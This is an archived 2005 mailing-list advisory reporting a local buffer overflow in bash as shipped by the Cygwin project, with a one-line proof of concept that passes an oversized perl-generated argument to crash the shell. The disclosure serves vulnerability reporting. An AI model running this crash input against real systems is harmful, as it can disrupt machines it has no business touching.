bugtraq - Cygwin Bash Buffer Overflow

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Message-ID: <200505290043.j4T0hJab001247@mail.soporte.cl>
Date: Sat, 28 May 2005 20:43:38 -0400
From: "Rodrigo Gutierrez" <rodrigo@...ellicomp.cl>
To: <full-disclosure@...ts.grok.org.uk>, <info@...uriteam.com>,
	<submissions@...ketstormsecurity.org>, <bugs@...uritytracker.com>,
	<bugtraq@...urityfocus.com>
Subject: Cygwin Bash Buffer Overflow

Cygwin Bash Buffer Overflow

Author: Rodrigo Gutierrez <rodrigo@...ellicomp.cl>

Affected: Versions of bash distributed by the cygwin project

vendor url: http://www.cygwin.com

Type: Local

Background.

Cygwin is a Linux-like environment for Windows. GNU BASH is the GNU
project's UNIX shell. It replaces the standard UNIX Bourne and Korn shells.

Description

I think that cygwin people are cool, but Full Disclosure is a life style,
this is all you get guys, 8 megs.

PoC

you@...win:~ /usr/bin/bash `perl -e "print 'a'x8388600"`

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